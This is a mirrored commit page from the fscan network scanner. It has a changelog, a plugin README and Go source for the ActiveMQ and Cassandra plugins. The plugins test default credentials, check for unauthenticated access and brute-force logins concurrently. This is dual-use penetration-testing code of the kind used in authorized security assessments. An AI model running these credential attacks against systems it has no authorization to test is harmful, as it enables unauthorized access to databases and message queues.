mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 03:10:42 +08:00
v2.1.2 核心优化与多架构发布 (#561)
* feat: v2.1.0 核心重构与功能增强
## 架构重构
- 全局变量消除,迁移至 Config/State 对象
- SMB 插件融合(smb/smb2/smbghost/smbinfo)
- 服务探测重构,实现 Nmap 风格 fallback 机制
- 输出系统重构,TXT 实时刷盘 + 双写机制
- i18n 框架升级至 go-i18n
## 性能优化
- 正则表达式预编译
- 内存优化 map[string]struct{}
- 并发指纹匹配
- SOCKS5 连接复用
- 滑动窗口调度 + 自适应线程池
## 新功能
- Web 管理界面
- 多格式 POC 适配(xray/afrog)
- 增强指纹库(3139条)
- Favicon hash 指纹识别
- 插件选择性编译(Build Tags)
- fscan-lab 靶场环境
- 默认端口扩展(62→133)
## 构建系统
- 添加 no_local tag 支持排除本地插件
- 多版本构建:fscan/fscan-nolocal/fscan-web
- CI 添加 snapshot 模式支持仅测试构建
## Bug 修复
- 修复 120+ 个问题,包括 RDP panic、批量扫描漏报、
JSON 输出格式、Redis 检测、Context 超时等
## 测试增强
- 单元测试覆盖率 74-100%
- 并发安全测试
- 集成测试(Web/端口/服务/SSH/ICMP)
* fix(ci): 移除 PR 对 Project 自动化的触发
* fix: Elasticsearch未授权检测优先于爆破 (#554)
* fix: 修复RDP爆破高误报率问题 (#555)
- 移除 screen.go 中错误的认证结果覆盖逻辑
- 启用 NLA 协议的 ErrorCode 字段检测
- 添加 PubKeyAuth 验证确保认证真正成功
- 修复 io.go 中错误被静默忽略的问题
- 修复 socket.go/io.go 中可能导致 panic 的代码
- 修复 screen.go 中文件句柄泄漏和 log.Panic
* fix: 修复-user/-pwd凭据参数不生效的问题
问题原因:
- Parse()解析凭据后更新globalConfig
- 但BuildConfigFromFlags()创建新Config时使用默认字典
- 导致解析的UserPassPairs等凭据信息被丢弃
修复内容:
1. initialize.go: 将Parse解析的凭据结果应用到新Config
2. credential.go: 单用户密码对时创建UserPassPairs
3. rdp.go: 单凭据测试时跳过指纹识别,减少连接次数
* feat: RDP使用NLA仅验证模式,避免挤掉已登录用户
- 添加ErrNLAAuthSuccess标志用于NLA验证成功信号
- tpkt层支持nlaAuthOnly模式,验证成功后不建立完整会话
- x224层正确传播NLA验证结果
- rdpCrack改用NlaAuth进行凭据验证
* fix: 修复进度条在Windows终端满屏重复输出的问题
- 添加终端宽度检测,动态调整进度条长度
- 使用空格覆盖清除旧内容,避免残留
- 简化进度条格式,确保不超过终端宽度
* feat: 优化日志颜色方案,区分漏洞和普通信息
- 新增 LogVuln 级别(红色),用于漏洞和重要发现
- 密码爆破成功、未授权访问、POC漏洞等改用红色显示
- 普通信息(扫描统计等)改为白色
- Web指纹保持绿色
* refactor: 精简化输出,移除冗余启动信息
- 移除showParseSummary开局配置输出
- 移除LogPluginInfo/LogPluginInfoWithPort插件信息输出
- 移除alive_scanner冗余统计输出
- 移除port_scan_start扫描开始提示
- 移除handleUDPPorts SNMP死代码
- 移除相关i18n条目
* chore: 版本号更新为2.1.1
* fix: 降级依赖版本以保持Go 1.20兼容性
* feat(ldap): 添加NTLM Hash认证支持 (#433)
* chore: 清理无用的 replace 指令
* fix(ping): 修复 TTL expired 导致主机误判为存活的问题
在 ExecCommandPing 中增加错误关键词检测,当 ping 输出包含
TTL expired、Destination unreachable 等错误信息时,不再将
目标主机标记为存活。
Fixes #454
* fix(proxy): 修复透明代理导致输出全端口的问题
在代理初始化时主动探测代理行为,通过连接 RFC 5737 保留的
测试地址来检测是否存在"全回显"问题。如果探测到代理不可靠,
则在端口扫描时跳过所有端口,避免误报。
- 新增 proxyReliable 标志位标记代理可靠性
- 新增 ProbeProxyBehavior 函数探测代理行为
- 端口扫描前检查代理可靠性并输出警告
Fixes #495
* refactor: 移动debug模块到common/debug子包
* fix(web): 修复-u模式下Web插件未执行的问题
* fix: 优化输出格式和颜色显示
- 网段统计格式改为 10.253.0.0/16 网段存活: 26
- WebTitle基础信息改为白色,指纹识别单独绿色输出
- 移除重复的端口数量输出
* fix: URL解析自动补全协议头
-uf 文件中 192.168.1.1:8080 自动转为 http://192.168.1.1:8080
* fix: 修复-u/-uf模式下URLs丢失导致0目标扫描的问题
Parse阶段将URLs设置到全局状态,但Initialize随后创建新状态
并覆盖了全局状态,导致URLs数据丢失。现在在创建新状态前
先保存并迁移Parse阶段设置的URLs和HostPorts数据。
* fix: 智能检测HTTP/HTTPS协议并优化URL显示
- 修复-u/-uf模式URLs丢失导致0目标扫描问题
- detectProtocol改为主动TLS握手检测,不依赖服务名
- WebTitle输出显示完整协议(http/https)
- 隐藏标准端口(80/443)使输出更简洁
* refactor: 精简parsers包,统一配置构建入口
- 删除冗余的中间层(XXXInput、XXXParser类)
- 新增 config_builder.go 统一配置构建
- parsers包从3000+行精简至~540行
- 保留核心函数:ParseIP、ParsePort、文件读取、凭据解析
* test: 扩展parsers单元测试覆盖边缘情况
- 新增内网简写解析测试(192/172/10)
- 新增完整IP范围和无效CIDR测试
- 新增Windows行尾(CRLF)处理测试
- 新增凭据和哈希文件解析测试
- 新增端口解析边缘情况测试
- 测试覆盖率达到94.2%
* refactor: 优化控制台输出格式
- 去掉时间戳,保留[*][+]前缀
- Web输出合并WebTitle和WebFinger为一行
- 有指纹显示绿色[+],无指纹显示白色[*]
- 格式: code:xxx len:xxx title:xxx server:xxx [指纹]
- 服务探测格式: [Product:xxx ||Version:xxx] Banner:(xxx)
- 字段对齐,输出更清爽
* feat: 添加凭据测试未发现弱密码的提示
- credential_tester.go: 失败时设置 Type=ResultTypeCredential
- scanner.go: 根据结果类型在 error 级别输出'未发现弱密码'提示
- 新增 i18n 翻译 brute_no_weak_pass
使用 -log all 或 -log error 可看到此提示
* refactor(logging): 重构日志级别为层级过滤设计
- LogLevel 从 string 改为 int 类型,支持层级比较
- 层级设计:Debug(0) < Base(1) < Info(2) < Success(3) < Vuln(4) < Error(5)
- 设置一个级别后,显示该级别及以上的日志
- Error 级别始终显示,不会被配置过滤掉
- 保留向后兼容别名(LevelAll, LevelInfoSuccess 等)
- 更新测试以匹配新的层级过滤行为
* style(logging): Error级别日志改为黄色显示
* style(findnet): NetInfo输出改为每行一个IP
* refactor(ms17010): 优化错误提示,明确指出SMBv1不支持等情况
* fix(credential): 修复凭据测试结果不一致的问题
问题原因:
1. 未知错误类型不重试,导致服务端限流时跳过正确密码
2. SSH 错误分类不够准确,某些临时错误未被识别
修复内容:
1. 未知错误改为可重试(可能是临时问题)
2. 增加 SSH 特有的网络错误识别(handshake failed, disconnect 等)
* fix(portfinger): 修复SMB2服务指纹识别和NetInfo输出问题
- 添加SMB2ProgNeg探针支持现代Windows的SMB2协议
- 修复Go regexp对高位字节的UTF-8兼容问题,使用Latin-1转换
- 修复探针失败后连接重建逻辑
- 修复vendor_product字段名不匹配问题
- 修复NetInfo多行输出被其他日志打断的问题
* fix(config): 从默认端口移除9100,避免触发打印机打印 (#517)
* feat(proxy): 增强代理端口扫描的深度验证机制
- 新增4阶段深度验证:Banner读取→探测发送→响应等待→最终判定
- 新增SOCKS5错误码和代理错误文本检测
- 优化ProbeProxyBehavior探测逻辑,发送数据验证连接可达性
- 解决透明代理/全回显代理导致的假阳性问题
* fix(proxy): 修复代理深度验证的若干问题
- detector.go: 修复 AutoConfigureProxy 覆盖探测结果的问题
只有未探测过时才设置默认 proxyReliable 值
- port_scan.go: 改进深度验证机制
- 使用带 Host header 的 HTTP GET 请求替代 OPTIONS
- 延长响应等待超时至 2s 以适配慢速服务器
- 正确重置连接 deadline 避免影响后续操作
* refactor: 统一 common 包文件命名风格
Flag.go -> flag.go
* refactor(proxy): 删除自定义 contains() 函数,改用标准库
- 用 strings.Contains() 替代手写的 contains()
- 删除过时的注释
* fix(parsers): 修复带横杠域名被误识别为IP范围的问题
如 111-555.sss.com 这类域名因包含 - 被错误解析为 IP 范围,
添加 looksLikeIPRange() 检查,只有 - 前是有效 IP 才走范围解析
* fix(proxy): 修复代理模式下服务识别错误和端口漏扫问题
- port_scan.go: 验证通过后重建干净连接,避免HTTP GET探测污染服务识别
- port_scan.go: 优化验证策略,用轻量CRLF探测替代HTTP GET,超时从2.2s降至0.6s
- manager.go: 修正ProbeProxyBehavior判断逻辑,超时应视为代理正常转发
* fix(pool): 移除线程池预分配,优化大规模扫描内存占用
WithPreAlloc(true) 会预先创建所有 worker goroutine,
在大规模扫描(如 25域名×65535端口)时可能导致内存问题
* refactor(logging): 统一日志前缀,删除废弃的 LogBase
- 删除 LogBase 函数,所有调用迁移到 LogInfo/LogError
- 新增 PrefixDebug ([.]) 前缀,所有日志级别现在都有前缀
- 修复日志输出缩进不一致的问题
- 删除未使用的 PrefixDefault 常量
* perf(icmp): 实现自适应等待算法优化存活检测性能
- 新增 waitAdaptive 函数,监控响应增量实现智能提前结束
- 算法保守原则:最小等待1s + 连续500ms无新响应才提前结束
- 添加100ms检查间隔避免CPU空转
- 保留原有最大等待时间(3s/6s)作为兜底
- 添加完整单元测试覆盖各种场景
优化效果:
- 全部响应:~100ms (原3s)
- 无响应:~1s (原3s)
- 部分响应后稳定:~1.5s (原3s)
* perf(scan): 实现启发式优化提升扫描体验
1. 端口优先级排序:高价值端口(80,443,22,3389等)优先扫描
- 用户能更快看到有意义的结果
- 不影响端口喷洒策略
2. TCP 补充探测:ICMP 响应率<10%时自动启用
- 对未响应主机用 TCP 80/443/22/445 补充探测
- 解决防火墙过滤 ICMP 导致漏检的问题
* refactor(grdp): 精简RDP库,删除认证检测不需要的代码
- 删除 VNC 协议支持 (protocol/rfb, client/rfb.go)
- 删除完整客户端框架 (client/)
- 删除 RemoteApp 等插件 (plugin/)
- 删除 RLE 图形解压 (core/rle.go)
- 删除绘图指令处理 (pdu/orders.go, pdu/gdi.go)
- 精简 screen.go,移除截图和完整会话功能
- 移除未使用的 RGB 转换函数
grdp 代码从 13,044 行精简至 7,581 行,削减 42%
* refactor(common): 删除死代码,优化代码风格
- 删除未使用的 joinStrings/joinInts 函数
- 删除未使用的 memStats 字段和 getMemoryInfo 方法
- 简化 parsePasswords 中的循环为 append(...) 形式
* refactor(services): 统一数据库插件的DBWrapper
4个数据库插件(MySQL、PostgreSQL、MSSQL、Oracle)都有相同的sql.DB包装代码,
合并为通用的SQLDBWrapper,减少重复。
* refactor(core,grdp): 删除未使用的死代码
- 移除 BaseScanStrategy.LogPluginInfoWithPort 方法(无调用者)
- 移除 mcs.go 中被注释的旧 connect 函数实现
* refactor: 删除 deadcode 检测出的未使用函数
- proxy/detector.go: 删除 IsSOCKS5Standard, IsProxyInitialized
- findnet.go: 删除 NetworkInfo.OneLine, TreeFormat 方法
- port_scan.go: 删除 estimateScanTime 函数
- web_scanner.go: 删除 GetFingerprints 函数
- 清理相关测试代码
* refactor: 删除更多未使用的死代码
- parse.go: 删除 RemoveDuplicate 函数及其测试
- parsers.go: 删除 excludeHosts, removeDuplicates 别名函数
- 更新测试使用真正的函数名
* fix(test): 修复 TestParseIP_InvalidIPRange 测试用例
- 删除不合理的测试用例(无效IP被当作普通主机名处理是设计行为)
- 修复测试逻辑,只在真正通过时输出"正确"
* fix(scan): 移除域名预解析,保留原始域名进行扫描
域名预解析会将域名转换为IP,导致虚拟主机场景下HTTP访问失败
(Host头变成IP而非域名,无法正确路由)
* fix(scan): 修复 -hf 参数无法单独使用的问题
* fix(proxy): 修复透明代理环境下 SOCKS5 代理全端口误报问题
问题:在透明代理(TUN模式)环境下使用 SOCKS5 代理扫描时,
会出现全端口开放的误报,因为代理可靠性检测被透明代理污染。
修复方案(参考 fscanx):
1. 将探针从 CRLF 改为 HTTP GET,更有效检测真实连接状态
2. 删除 "uncertain" 状态,无响应一律判定为端口关闭
3. 调整超时时间以适应代理链路延迟
Fixes #524
* feat(telnet): 新增 telnetd RCE 命令执行验证,修复未授权访问日志级别
* fix: 修复 i18n.Tr vet 报错、Unicode 测试用例,移除过期域名
- 移除 i18n.Tr 中错误的 fmt.Sprintf fallback,消除 go vet 误报
- 修复 match_engine_test Unicode 测试用例与 Latin-1 转换逻辑不匹配
- README 移除过期的 fscan.club 域名
- 添加 .gitattributes 统一换行符为 LF
* refactor: 统一控制台输出风格,使用统一的日志函数
手动合并 PR #558 的改动,适配重构后的代码路径
* fix(ci): 修复版本注入和CI触发配置
- goreleaser ldflags 指向正确的包路径 common.version/commit/date
- version 改为 var 支持 ldflags 注入,banner 显示 commit 和构建日期
- test-build 触发分支增加 dev-* 通配
* fix(ci): 修复 Windows 产物 .exe.exe 双后缀问题
* feat(ci): 扩展构建架构支持 MIPS/ARM/FreeBSD/Solaris
This commit is contained in:
@@ -0,0 +1,50 @@
|
||||
# 服务扫描插件目录
|
||||
|
||||
本目录包含所有服务扫描插件,采用简化的单文件插件架构。
|
||||
|
||||
## 已实现插件
|
||||
|
||||
### 数据库服务
|
||||
- `mysql.go` - MySQL数据库扫描
|
||||
- `postgresql.go` - PostgreSQL数据库扫描
|
||||
- `redis.go` - Redis内存数据库扫描
|
||||
- `mongodb.go` - MongoDB文档数据库扫描
|
||||
- `mssql.go` - Microsoft SQL Server扫描
|
||||
- `oracle.go` - Oracle数据库扫描
|
||||
- `memcached.go` - Memcached缓存扫描
|
||||
- `neo4j.go` - Neo4j图数据库扫描
|
||||
|
||||
### 消息队列服务
|
||||
- `rabbitmq.go` - RabbitMQ消息队列扫描
|
||||
- `activemq.go` - ActiveMQ消息队列扫描
|
||||
- `kafka.go` - Apache Kafka扫描
|
||||
|
||||
### 网络服务
|
||||
- `ssh.go` - SSH远程登录服务扫描
|
||||
- `ftp.go` - FTP文件传输服务扫描
|
||||
- `telnet.go` - Telnet远程终端服务扫描
|
||||
- `smtp.go` - SMTP邮件服务扫描
|
||||
- `snmp.go` - SNMP网络管理协议扫描
|
||||
- `ldap.go` - LDAP目录服务扫描
|
||||
- `rsync.go` - Rsync文件同步服务扫描
|
||||
|
||||
### Windows服务
|
||||
- `findnet.go` - Windows网络发现插件 (RPC端点映射)
|
||||
- `smbinfo.go` - SMB协议信息收集插件
|
||||
|
||||
### 其他服务
|
||||
- `vnc.go` - VNC远程桌面服务扫描
|
||||
- `cassandra.go` - Apache Cassandra数据库扫描
|
||||
|
||||
## 插件特性
|
||||
|
||||
每个插件都包含:
|
||||
- ✅ 服务识别功能
|
||||
- ✅ 弱密码检测功能
|
||||
- ✅ 完整的利用功能
|
||||
- ✅ 错误处理和超时控制
|
||||
- ✅ 统一的结果输出格式
|
||||
|
||||
## 开发规范
|
||||
|
||||
所有插件都遵循 `../README.md` 中定义的开发规范。
|
||||
@@ -0,0 +1,284 @@
|
||||
//go:build plugin_activemq || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// ActiveMQPlugin ActiveMQ扫描插件
|
||||
type ActiveMQPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewActiveMQPlugin() *ActiveMQPlugin {
|
||||
return &ActiveMQPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("activemq"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *ActiveMQPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
// 生成测试凭据
|
||||
credentials := GenerateCredentials("activemq", config)
|
||||
if len(credentials) == 0 {
|
||||
// ActiveMQ默认凭据
|
||||
credentials = []Credential{
|
||||
{Username: "admin", Password: "admin"},
|
||||
{Username: "admin", Password: ""},
|
||||
{Username: "admin", Password: "password"},
|
||||
{Username: "activemq", Password: "activemq"},
|
||||
{Username: "activemq", Password: "admin"},
|
||||
{Username: "user", Password: "user"},
|
||||
{Username: "guest", Password: "guest"},
|
||||
}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "activemq", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("activemq_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建ActiveMQ认证函数
|
||||
func (p *ActiveMQPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doActiveMQAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doActiveMQAuth 执行ActiveMQ认证
|
||||
func (p *ActiveMQPlugin) doActiveMQAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
target := info.Target()
|
||||
timeout := config.Timeout
|
||||
|
||||
resultChan := make(chan *AuthResult, 1)
|
||||
|
||||
go func() {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyActiveMQErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
success, err := p.authenticateSTOMP(conn, cred.Username, cred.Password, config)
|
||||
if success {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
resultChan <- &AuthResult{
|
||||
Success: true,
|
||||
Conn: &activeMQConnWrapper{conn},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
_ = conn.Close()
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyActiveMQErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result
|
||||
case <-ctx.Done():
|
||||
// context 被取消,启动清理协程等待并关闭可能创建的连接
|
||||
go func() {
|
||||
result := <-resultChan
|
||||
if result != nil && result.Conn != nil {
|
||||
_ = result.Conn.Close()
|
||||
}
|
||||
}()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// activeMQConnWrapper 包装ActiveMQ连接以实现io.Closer
|
||||
type activeMQConnWrapper struct {
|
||||
conn net.Conn
|
||||
}
|
||||
|
||||
func (w *activeMQConnWrapper) Close() error {
|
||||
return w.conn.Close()
|
||||
}
|
||||
|
||||
// classifyActiveMQErrorType ActiveMQ错误分类
|
||||
func classifyActiveMQErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
activeMQAuthErrors := []string{
|
||||
"authentication failed",
|
||||
"access denied",
|
||||
"invalid credentials",
|
||||
"login failed",
|
||||
"unauthorized",
|
||||
"403 forbidden",
|
||||
"security exception",
|
||||
"invalid user",
|
||||
"invalid password",
|
||||
"login incorrect",
|
||||
}
|
||||
|
||||
return ClassifyError(err, activeMQAuthErrors, CommonNetworkErrors)
|
||||
}
|
||||
|
||||
// authenticateSTOMP 使用STOMP协议认证ActiveMQ
|
||||
func (p *ActiveMQPlugin) authenticateSTOMP(conn net.Conn, username, password string, config *common.Config) (bool, error) {
|
||||
timeout := config.Timeout
|
||||
|
||||
stompConnect := fmt.Sprintf("CONNECT\naccept-version:1.0,1.1,1.2\nhost:/\nlogin:%s\npasscode:%s\n\n\x00",
|
||||
username, password)
|
||||
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||
if _, err := conn.Write([]byte(stompConnect)); err != nil {
|
||||
return false, fmt.Errorf("STOMP请求发送失败: %w", err)
|
||||
}
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
response := make([]byte, 1024)
|
||||
n, err := conn.Read(response)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("STOMP响应读取失败: %w", err)
|
||||
}
|
||||
if n == 0 {
|
||||
return false, fmt.Errorf("STOMP无响应数据")
|
||||
}
|
||||
|
||||
responseStr := string(response[:n])
|
||||
|
||||
if strings.Contains(responseStr, "CONNECTED") {
|
||||
return true, nil
|
||||
} else if strings.Contains(responseStr, "ERROR") {
|
||||
errorMsg := "STOMP认证错误"
|
||||
if strings.Contains(responseStr, "Authentication failed") {
|
||||
errorMsg = "Authentication failed"
|
||||
} else if strings.Contains(responseStr, "Access denied") {
|
||||
errorMsg = "Access denied"
|
||||
} else if strings.Contains(responseStr, "Invalid credentials") {
|
||||
errorMsg = "Invalid credentials"
|
||||
}
|
||||
return false, fmt.Errorf("%s", errorMsg)
|
||||
}
|
||||
|
||||
return false, fmt.Errorf("STOMP未知响应格式")
|
||||
}
|
||||
|
||||
// identifyService ActiveMQ服务识别
|
||||
func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
timeout := config.Timeout
|
||||
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "activemq",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
stompConnect := "CONNECT\naccept-version:1.0,1.1,1.2\nhost:/\n\n\x00"
|
||||
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||
if _, writeErr := conn.Write([]byte(stompConnect)); writeErr != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "activemq",
|
||||
Error: fmt.Errorf("无法发送STOMP请求: %w", writeErr),
|
||||
}
|
||||
}
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
response := make([]byte, 512)
|
||||
n, err := conn.Read(response)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "activemq",
|
||||
Error: fmt.Errorf("无法读取响应: %w", err),
|
||||
}
|
||||
}
|
||||
if n == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "activemq",
|
||||
Error: fmt.Errorf("无响应数据"),
|
||||
}
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
responseStr := string(response[:n])
|
||||
|
||||
if common.ContainsAny(responseStr, "CONNECTED", "ERROR") {
|
||||
banner := "ActiveMQ STOMP"
|
||||
if strings.Contains(responseStr, "server:") {
|
||||
lines := strings.Split(responseStr, "\n")
|
||||
for _, line := range lines {
|
||||
if strings.HasPrefix(line, "server:") {
|
||||
banner = strings.TrimSpace(strings.TrimPrefix(line, "server:"))
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("activemq_service", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Service: "activemq",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "activemq",
|
||||
Error: fmt.Errorf("无法识别为ActiveMQ STOMP服务"),
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("activemq", func() Plugin {
|
||||
return NewActiveMQPlugin()
|
||||
}, []int{61613, 61614, 61616, 61617, 61618, 8161})
|
||||
}
|
||||
@@ -0,0 +1,217 @@
|
||||
//go:build plugin_cassandra || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/gocql/gocql"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// CassandraPlugin Cassandra扫描插件
|
||||
type CassandraPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewCassandraPlugin() *CassandraPlugin {
|
||||
return &CassandraPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("cassandra"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *CassandraPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
// 先尝试无认证连接
|
||||
if result := p.tryNoAuthConnection(ctx, info, config, state); result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
|
||||
credentials := GenerateCredentials("cassandra", config)
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "cassandra",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "cassandra", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("cassandra_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建Cassandra认证函数
|
||||
func (p *CassandraPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doCassandraAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doCassandraAuth 执行Cassandra认证
|
||||
func (p *CassandraPlugin) doCassandraAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
cluster := gocql.NewCluster(info.Host)
|
||||
cluster.Port = info.Port
|
||||
cluster.Timeout = config.Timeout
|
||||
cluster.ConnectTimeout = config.Timeout
|
||||
|
||||
if cred.Username != "" || cred.Password != "" {
|
||||
cluster.Authenticator = gocql.PasswordAuthenticator{
|
||||
Username: cred.Username,
|
||||
Password: cred.Password,
|
||||
}
|
||||
}
|
||||
|
||||
session, err := cluster.CreateSession()
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyCassandraErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
var dummy string
|
||||
err = session.Query("SELECT cluster_name FROM system.local").WithContext(ctx).Scan(&dummy)
|
||||
if err != nil {
|
||||
session.Close()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyCassandraErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &cassandraSessionWrapper{session},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// cassandraSessionWrapper 包装 gocql.Session 以实现 io.Closer
|
||||
type cassandraSessionWrapper struct {
|
||||
*gocql.Session
|
||||
}
|
||||
|
||||
func (w *cassandraSessionWrapper) Close() error {
|
||||
w.Session.Close()
|
||||
return nil
|
||||
}
|
||||
|
||||
// classifyCassandraErrorType Cassandra错误分类
|
||||
func classifyCassandraErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
cassandraAuthErrors := []string{
|
||||
"authentication failed",
|
||||
"bad credentials",
|
||||
"invalid credentials",
|
||||
"username and/or password are incorrect",
|
||||
"unauthorized",
|
||||
"access denied",
|
||||
}
|
||||
|
||||
return ClassifyError(err, cassandraAuthErrors, CommonNetworkErrors)
|
||||
}
|
||||
|
||||
// tryNoAuthConnection 尝试无认证连接
|
||||
func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
cluster := gocql.NewCluster(info.Host)
|
||||
cluster.Port = info.Port
|
||||
cluster.Timeout = config.Timeout
|
||||
cluster.ConnectTimeout = config.Timeout
|
||||
|
||||
session, err := cluster.CreateSession()
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return nil
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
var dummy string
|
||||
err = session.Query("SELECT cluster_name FROM system.local").WithContext(ctx).Scan(&dummy)
|
||||
if err != nil {
|
||||
session.Close()
|
||||
return nil
|
||||
}
|
||||
|
||||
session.Close()
|
||||
common.LogVuln(i18n.Tr("cassandra_unauth", target))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "cassandra",
|
||||
Banner: fmt.Sprintf("Cassandra (无认证, 集群: %s)", dummy),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *CassandraPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
